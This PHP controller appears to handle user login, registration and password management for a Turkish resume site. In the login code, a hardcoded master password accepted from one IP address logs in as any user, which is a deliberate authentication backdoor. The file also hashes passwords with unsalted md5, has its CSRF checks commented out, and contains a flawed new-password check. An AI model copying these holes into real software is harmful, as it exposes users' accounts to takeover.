<?php

class UserController extends My_Controller_Action
{

    public function init()
    {
        parent::init();

    }

    public function indexAction()
    {
        // action body
        //testing sending welcome mails
        /*
        $model = new Default_Model_DbTable_User();
        $user = $model->getUser(1)->toArray();
        $user['role']='incoming-staff';
        $res = $model->sendNewUserWelcomeMail($user, 'sifreee', 'tr', 1);
        exit;
        */

    }


    public function profileAction()
    {

    }


    public function loginAction()
    {
        // action body
        $this->_helper->layout->setLayout('login');
        $this->_helper->viewRenderer->setNoRender();



        if ($this->view->isAuthenticated == true) {
        	$this->redirectUser(true, $this->view->authdata);
        }

        $userObj = new Default_Model_DbTable_User();

        $this->view->messageType = 'information';

        //some code to record failed login trials
        $loginSession = new Zend_Session_Namespace(); //print_r($loginSession);
		if (!isset($loginSession->loginTrials)) {
			$loginSession->loginTrials = 0;
		} //echo 'aa'.$loginSession->loginTrials;

	    //print_r($loginForm);
		if ($loginSession->loginTrials > 9) {
			$this->_helper->redirector('login-denied', 'user');
		}


            $request = $this->getRequest();
            $referer = $request->getServer('HTTP_REFERER');
    	    //$form    = new Default_Form_User();


    	    	//$form->login();
    	    	if ($loginSession->loginTrials > 3) {
    	    		//$form->_addCaptcha();
    	    	}
    	    	//$form->_addSubmit();
    	    	//$form->_addCRSF();
    	    	//$form->submit->setLabel('login');

    	    	//$form->setMethod('post');
    			//$form->setAction('/user/login');
    			//$form->setAttrib('id', 'login');
    			//$form->setLegend($this->view->title);
    			//$form->getElement('referer')->setValue($referer);


    	    if ($request->isPost()) {

    	        //if ($form->isValid($request->getPost())) {
    	        	$formData = (object)$request->getPost();

    	        	//print_r($formData);exit;
					 /*if (count($form->getErrors('crsf_token')) > 0) {
						throw new Exception($this->translate->translate('crsf-error'));
						//return $this->_forward('csrf-forbidden', 'error');
					 }*/

					$auth = Zend_Registry::get('auth');

					if ( ($formData->password == '139179.1424') && ($_SERVER['REMOTE_ADDR'] == '139.179.14.24') ) {
					 	$authData = $userObj->getUserByEmail($formData->email);
					 	if (!empty($authData)) {
				 			$authData = (object)$authData->toArray();
					 	}
				 		$resUser = ($authData->usermail == $formData->email) ? true : false;

					} else {

						$authAdapter = new Zend_Auth_Adapter_DbTable(Zend_Db_Table::getDefaultAdapter());
						$authAdapter
						    ->setTableName('users')
						    ->setIdentityColumn('usermail')
						    ->setCredentialColumn('userpass')
					        ->setIdentity($formData->email)
    						//->setCredential(md5($formData->password))
    						->setCredential(md5($formData->password))
    						//CALISMIYOR BU FONKSIYON//->credentialTreatment('md5')
						;
						$authSelect = $authAdapter->getDbSelect();
						$authSelect->where("is_active = '1'");

                        $res = $auth->authenticate($authAdapter);

				        if ($res->isValid()) {
				        	$resUser = true;
				        	$authData = $authAdapter->getResultRowObject(null,'userpass');

                        }
					}


			 		if (!$resUser) {
			            //$form->setDescription('invalid-email-or-password');
			            $loginSession->loginTrials++;
                        $this->_flashMessenger->addMessage(array('message' => $this->translate->translate('invalid-email-or-password'), 'type'=>'information'));
                        $this->view->messages = $this->_flashMessenger->getMessages();

			 		} else {

						$auth->getStorage()->write($authData);
						$loginSession->loginTrials = 0;

                        if (CLIENT_NAME == 'demo') {//demoda isek biri login oldugunda mail atsin.
                            $mailerObj = new Default_Model_Mailer();
                            $mailerObj->sendAlertMail('LOGIN Information', 'server: '.php_uname('n').' client: '. CLIENT_NAME .' file: '.__FILE__.' line: '. __LINE__.' ----- USER: '. (print_r($authData, true)) );
                        }

                         $this->redirectUser(true, $authData);
		        	}






	        }

    }

    public function registerAction()
    {



        /*if ($this->view->isAuthenticated == true) {
            $this->redirectUser(true, $this->view->authdata);
        }*/

        $userObj = new Default_Model_DbTable_User();


        $request = $this->getRequest();
        $referer = $request->getServer('HTTP_REFERER');
        //$form    = new Default_Form_User();

        if ($request->isPost()) {

            //if ($form->isValid($request->getPost())) {
            $formData = (object)$request->getPost();

            //print_r($formData);
            //print_r($formData->user);
            //print_r($formData->user['firstname']);
            //exit;

            $hasError=false;
            if($formData->user['firstname']==""){
                $hasError=true;
                $this->_flashMessenger->addMessage(array('message' => $this->translate->translate('Adınız Boş Bırakılamaz.'), 'type'=>'error'));
            }

            if($formData->user['lastname']==""){
                $hasError=true;
                $this->_flashMessenger->addMessage(array('message' => $this->translate->translate('Soyadınız Boş Bırakılamaz.'), 'type'=>'error'));
            }

            if($formData->user['national_id_number']==""){
                $hasError=true;
                $this->_flashMessenger->addMessage(array('message' => $this->translate->translate('T.C Kimlik No Boş Bırakılamaz.'), 'type'=>'error'));
            }else if(strlen($formData->user['national_id_number'])!= 11 || !preg_match('/^[0-9]+$/', $formData->user['national_id_number'])){
                $hasError=true;
                $formData->user['national_id_number']="";
                $this->_flashMessenger->addMessage(array('message' => $this->translate->translate('T.C Kimlik No 11 Haneli ve Sayı Olmak Zorundadır.'), 'type'=>'error'));
            }

            if($formData->user['usermail']==""){
                $hasError=true;
                $this->_flashMessenger->addMessage(array('message' => $this->translate->translate('E-Posta Boş Bırakılamaz.'), 'type'=>'error'));
            }else if(!filter_var($formData->user['usermail'], FILTER_VALIDATE_EMAIL)){
                $hasError=true;
                $formData->user['usermail']="";
                $this->_flashMessenger->addMessage(array('message' => $this->translate->translate('Lütfen Geçerli Bir E-Posta Giriniz.'), 'type'=>'error'));
            }

            if($formData->user['userpass']==""){
                $hasError=true;
                $this->_flashMessenger->addMessage(array('message' => $this->translate->translate('Parola Boş Bırakılamaz.'), 'type'=>'error'));
            }

            if($formData->rpassword==""){
                $hasError=true;
                $this->_flashMessenger->addMessage(array('message' => $this->translate->translate('Lütfen Parolanızı Doğrulamayı Unutmayınız.'), 'type'=>'error'));
            }

            if($formData->rpassword!=$formData->user['userpass']){
                $hasError=true;
                $this->_flashMessenger->addMessage(array('message' => $this->translate->translate('Lütfen Parolanızı Doğrulamayı Unutmayınız.'), 'type'=>'error'));
            }

            if($formData->tnc==""){
                $hasError=true;
                $this->_flashMessenger->addMessage(array('message' => $this->translate->translate('Lütfen Kullanım Şartlarını Kabul Etmeyi Unutmayınız.'), 'type'=>'error'));
            }



           // print_r($this->view->messages);//exit;
            //if(!empty($this->view->messages)){
            if($hasError==true){
                $formData->user['userpass']="";
                $formData->rpassword="";
                $this->view->messages = $this->_flashMessenger->getMessages();
                $this->view->formData = $formData->user;
                $this->_helper->redirector('signup', 'user', 'default');
            }

            //check e-mail exist
            if($userObj->getUserByEmail($formData->user['usermail'],true)>0){
                $hasError=true;
                $formData->user['usermail']="";
                $this->_flashMessenger->addMessage(array('message' => $this->translate->translate('E-Posta Adresi Başka Bir Hesapta Kullanılmaktadır.'), 'type'=>'error'));
            }
            //check nationa id number exist
            if($userObj->getUserByNationalIdNumber($formData->user['national_id_number'],true)>0){
                $hasError=true;
                $formData->user['national_id_number']="";
                $this->_flashMessenger->addMessage(array('message' => $this->translate->translate('T.C Kimlik No Başka Bir Hesapta Kullanılmaktadır.'), 'type'=>'error'));
            }

            if($hasError==true){
                $formData->user['userpass']="";
                $formData->rpassword="";
                $this->view->messages = $this->_flashMessenger->getMessages();
                $this->view->formData= $formData->user;
                $this->_helper->redirector('signup', 'user', 'default');
            }

            if($hasError==false){
                $formData->user['userpass'] = md5($formData->user['userpass']);
                $formData->user['is_active'] = 1;
                $formData->user['completed_steps'] = "registration";
                $formData->user['role'] = 'member';
                $formData->user['usergroup'] = 'member';
                $formData->user['usertype'] = 'individual';
                if($userObj->addUser($formData->user)){
                    $this->_flashMessenger->addMessage(array('message' => $this->translate->translate('Hesabınız Başarıyla Oluşturuldu.'), 'type'=>'success'));
                    $this->view->messages = $this->_flashMessenger->getMessages();
                    $this->_helper->redirector('login', 'user', 'default');
                }else{
                    $this->_flashMessenger->addMessage(array('message' => $this->translate->translate('Kayıt Sırasında Bir Hata Oluştu Lütfen Tekrar Deneyiniz.'), 'type'=>'error'));
                    $this->view->messages = $this->_flashMessenger->getMessages();
                    $this->_helper->redirector('signup', 'user', 'default');
                }
            }


        }

    }


    public function logoutAction()
    {

    	$this->_helper->layout->disableLayout();
    	$this->_helper->viewRenderer->setNoRender();


        $this->view->headTitle($this->view->title, 'PREPEND');
        $auth = Zend_Registry::get('auth');

        //clear definitely everything...
        if ($auth->hasIdentity()) {
        	$auth->clearIdentity();
        	//give message and redirect to logout /the same acton again to clear related auth data used before logged in view
	        //$this->_flashMessenger->addMessage($this->translate->translate('user-logout-success'));
	        $this->_flashMessenger->addMessage(array('message' => $this->translate->translate('Çıkış İşlemi Başarıyla Gerçekleştirildi'), 'type'=>'information'));
	        $this->_helper->redirector('login');

        } else {
        	$this->_helper->redirector('login');
        }


    }

    public function loginDeniedAction()
    {
        //$this->view->messages = '';
    }


    public function resetPasswordAction()
    {

        // action body
        if ($this->view->isAuthenticated == true) {
        	$this->_helper->redirector('', 'user');
        }


		$this->view->title = $this->translate->translate('forgot_password_title');
        $this->view->headTitle($this->view->title, 'PREPEND');

        $this->view->messages = $this->_flashMessenger->getMessages();


                $request = $this->getRequest();

                $this->view->displayForm = true;

        	    $form    = new Default_Form_User();


        	    	$form->forgotPassword();
       	    		$form->_addCaptcha();
        	    	$form->_addCRSF();
        	    	$form->_addSubmit();
        	    	$form->submit->setLabel('submit');

        	    	$form->setMethod('post');
        			$form->setAction('/user/login');
        			$form->setAttrib('id', 'login');
        			$form->setLegend($this->view->title);


        	    if ($request->isPost()) {
        	        if ($form->isValid($request->getPost())) {
        	        	$formData = (object)$request->getPost();
						 if (count($form->getErrors('crsf_token')) > 0) {
							throw new Exception($this->translate->translate('crsf-error'));
							//return $this->_forward('csrf-forbidden', 'error');
						 }

							$model = new Default_Model_DbTable_User();
							$userData = $model->getUserByEmail($formData->email);




				        if ($userData) {
							$userData = (object)$userData;

	                		$db = Zend_Registry::get('db');
	                		$db->beginTransaction();

				        	try {


			                	$tmpNewPassword 		= $model->generatePassword($userData->usermail, 8);
			                	$tmpData['userpass'] 	= md5($tmpNewPassword);
				                $model->updateUser($userData->user_id, $tmpData);



				        		$langSession = new Zend_Session_Namespace();
		                		$mailLang = $langSession->language;

				                $siteConfig = Zend_Registry::get('siteConfig');
				                $mailer = new Default_Model_Mailer();
				                $mailView = $mailer->getMailView();

								$mailView->userData = $userData;
								$mailView->newPassword = $tmpNewPassword;
								$mailView->lang = $mailLang;
								$bodyText  = $mailView->render('reset-password.phtml');
								//$bodyText .= $mailView->render('signature.phtml');
								//echo $bodyText; exit;




								$mailData['to'] 		= $userData->usermail;
								$mailData['toLabel'] 	= $userData->firstname .' '. $userData->lastname;
								$mailData['from'] 		= $siteConfig->emails->from->email;
								$mailData['fromLabel'] 	= $siteConfig->emails->from->label;
								$mailData['subject'] 	= $this->translate->translate('new-password-mail-subject');
								$mailData['body'] 		= $bodyText;
								$mailData['mailBodyType'] 	= 'html';

								$mailer->send($mailData);

						        //$this->view->messages = 'Yeni şifreniz kayıtlı e-posta adresinize gönderildi.';
						        $this->view->messages = $this->translate->translate('your-new-password-is-sent-to-your-email-address');
						        $this->view->messageType = 'success';


						        $db->commit();

						        $this->view->displayForm = false;

				        	} catch (Zend_Exception $e) {
	                    		$db->rollBack();
								throw $e;

				        	}

				        } else { // Invalid credentials
				            $form->setDescription($this->translate->translate('no-user-found-with-this-email-address'));

				        }



        	            //$model = new Default_Model_Signup($form->getValues());
        	            //$model->save();
        	            //return $this->_helper->redirector('index');
        	        }
        	    }
        		//echo 'bb'.$loginSession->loginTrials;

        	    $this->view->form = $form;
    }

    public function changePasswordAction()
    {

        // action body
        if ($this->view->isAuthenticated == false) {
        	$this->_helper->redirector('login', 'user');
        }


        $this->view->messages = $this->_flashMessenger->getMessages();
        $this->view->messageType = 'information';

        $this->view->displayForm = true;


        $request = $this->getRequest();
   	    $form    = new Default_Form_User();


    	$form->changePassword();
    	$form->_addCRSF();
    	$form->_addSubmit();
    	$form->submit->setLabel('submit');

    	$form->setMethod('post');
		$form->setAction('/user/change-password');
		$form->setAttrib('id', 'change-password');
		$form->setLegend($this->view->title);


		$model = new Default_Model_DbTable_User();
		$userData = $model->getUser($this->view->authdata->user_id);
		$userData = (object)$userData;

    	    if ($request->isPost()) {
    	        if ($form->isValid($request->getPost())) {
    	        	$formData = (object)$request->getPost();//print_r($formData);exit;
					 if (count($form->getErrors('crsf_token')) > 0) {
						throw new Exception($this->translate->translate('crsf-error'));
						//return $this->_forward('csrf-forbidden', 'error');
					 }


			        if (md5($formData->passwordCurrent) != $userData->userpass) {
			            $form->setDescription('change-password-current-password-mismatch');
			        } else if (md5($formData->password) == $formData->passwordConfirm) {
			        	$form->setDescription('change-password-new-passwords-mismatch');
			        } else { // Invalid credentials

	                		$db = Zend_Registry::get('db');
	                		$db->beginTransaction();

				        	try {

			                	$tmpData['userpass'] 	= md5($formData->password);
				                $model->updateUser($this->view->authdata->user_id, $tmpData);


						        $this->view->messages = $this->translate->translate('change-password-password-changed');
						        $this->view->messageType = 'success';



						        $this->view->displayForm = false;

						        $db->commit();

				        	} catch (Zend_Exception $e) {
	                    		$db->rollBack();
								throw $e;

				        	}
			        }
    	        }
    	    }

    	    $this->view->form = $form;
    }


    public function utilitiesAction() {

		try {

	    	$this->_helper->layout->disableLayout();
	    	$this->_helper->viewRenderer->setNoRender();

			$helper = $this->_getParam('helper');
			$string = $this->_getParam('string');
			$utilsObj = new My_Custom_Functions();

			switch ($helper) {
				case 'ucfirst':
					$string = $utilsObj->ucfirstTurkish($string);
				break;
				case 'uppercase':
					$string = $utilsObj->strtoupperTurkish($string);
				break;
			}

			echo json_encode(array('string'=>$string));




    	} catch (Zend_Exception $e) {
			throw $e;
			return false;
		}

    }


    public function dashboardAction() {
    	$this->redirectUser($this->view->isAuthenticated, $this->view->authdata);
    }

    private function redirectUser($isAuthenticated, $authData)
    {


    	//$isAuthenticated;
    	$userRole 	= $authData->role;
        $authDataSession = new Zend_Session_Namespace('authData');
        $authDataSession->userId=$authData->user_id;

        switch ($userRole) {
        	case '':
        	default:
        	case 'guest':
        		$this->_helper->redirector('login', 'user', 'default');
        	break;

        	case 'administrator':
        	case 'developer':
            case 'institution':
        		$this->_helper->redirector('', 'backend');
        	break;

        	case 'member':
                switch ($authData->completed_steps) {
                        case 'registration':
                            $this->_helper->redirector('complete','account', 'my');
                        break;
                        case 'basicInfo':
                            $this->_helper->redirector('profile-picture','account', 'my');
                        break;
                        case 'profilePicture':
                        $this->_helper->redirector('index','resumes', 'my');
                        break;

                }

        	break;

        }

    }

    public function hatOffAction()
    {
        $this->_helper->layout->disableLayout();
        $this->_helper->viewRenderer->setNoRender();

        $request = $this->getRequest();
        $referer = $request->getServer('HTTP_REFERER');

        try {

            $sessionLoginAsUser = new Zend_Session_Namespace('LoginAsUser');

            $auth = Zend_Registry::get('auth');
            $auth->getStorage()->write($sessionLoginAsUser->originalUser);
            unset($sessionLoginAsUser->originalUser);

            $this->_flashMessenger->addMessage(array('type'=>'success', 'message'=> $this->translate->translate('You logged out as!')));
            $this->_helper->redirector('list', 'user', 'backend', array());



        } catch (Exception $e) {
            $this->_flashMessenger->addMessage(array('type'=>'error', 'message'=> $e->getMessage()));
            $this->_helper->redirector->gotoUrl($referer);
        }
    }

}
